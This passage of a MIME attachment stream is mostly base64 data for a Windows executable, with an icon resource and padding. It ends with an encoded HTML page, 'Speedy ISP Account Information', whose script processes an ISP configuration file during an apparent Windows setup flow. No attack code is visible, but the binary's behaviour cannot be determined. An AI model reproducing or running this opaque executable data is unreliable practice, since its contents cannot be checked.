hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEFAM9ZOzcAAAAAAAAAAOAADiELAQMKAGoAAACmAAAAAAAA oSQAAAAQAAAAgAAAAACyfwAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAABQAQAABAAA92QBAAIA AAAAABAAABAAAAAQAAAAEAAAAAAAABAAAAAAdwAAbgEAAACQAAB4AAAAAKAAANyTAAAAAAAA AAAAAAAAAAAAAAAAAEABANwDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAADUkQAASAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA bmgAAAAQAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAALwCAAAAgAAAABAAAACA AAAAAAAAAAAAAAAAAABAAADQLmlkYXRhAADYBgAAAJAAAAAQAAAAkAAAAAAAAAAAAAAAAAAA QAAAQC5yc3JjAAAAAKAAAACgAAAAoAAAAKAAAAAAAAAAAAAAAAAAAEAAANAucmVsb2MAALwE AAAAQAEAABAAAABAAQAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --O02ol2mZ15re9y3F9052 --O02ol2mZ15re9y3F9052 Content-Type: application/octet-stream; name=SPEEDY3.HTM Content-Transfer-Encoding: base64 Content-ID: PEhUTUw+DQoJPEhFQUQ+DQoJCTxsaW5rIHJlbD1zdHlsZXNoZWV0IHR5cGU9InRleHQvY3Nz IiBocmVmPSIuLi8uLi9zZXR1cC9tc29ic2hlbC5jc3MiPg0KCQk8VElUTEU+U3BlZWR5IElT UCBBY2NvdW50IEluZm9ybWF0aW9uPC9USVRMRT4NCgkJPE1FVEEgaHR0cC1lcXVpdj0iQ29u dGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSI+DQoJ CTxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD4NCgkJCWZ1bmN0aW9uIHNwZWVkeTNfR29O ZXh0KCkNCgkJCXsNCg0KICAgICAgICAgICAgICAgIGlmICh0cnVlID09IHdpbmRvdy5leHRl cm5hbC5Qcm9jZXNzSU5TKHdpbmRvdy5leHRlcm5hbC5BUEkuZ2V0X1N5c3RlbURpcmVjdG9y eSgpICsgIlxcb29iZVxcIiArICJvZW1jbmZnLmlucyIpKQ0KICAgIAkgICAgICAgICAgICB3 aW5kb3cucGFyZW50LkdvTmV4dCgpOw0KICAgIAkgICAgICAgIGVsc2UNCiAgICAJICAgICAg ICAJd2luZG93LnBhcmVudC5Hb05hdmlnYXRlKHdpbmRvdy5wYXJlbnQuQ0tQVF9JTlNFUlJP Uik7DQoJCQl9DQoJCTwvc2NyaXB0Pg0KCTwvSEVBRD4NCiAgPEJPRFkgVEFCSU5ERVg9LTEg b25sb2FkPSJ3aW5kb3cucGFyZW50Ll9EZWZhdWx0X0xvYWRNZSgpOyI+DQoNCgkJPGltZyBj bGFzcz1ncmFkaWVudCBzcmM9Ii4uLy4uL2ltYWdlcy93YXRlcm1yay5naWYiIHRhYmluZGV4 PS0xPg0KICAgICAgICA8aW1nIGlkPSJTdGFnZUltYWdlIiBjbGFzcz1sZWZ0cGFuZT4NCiAg 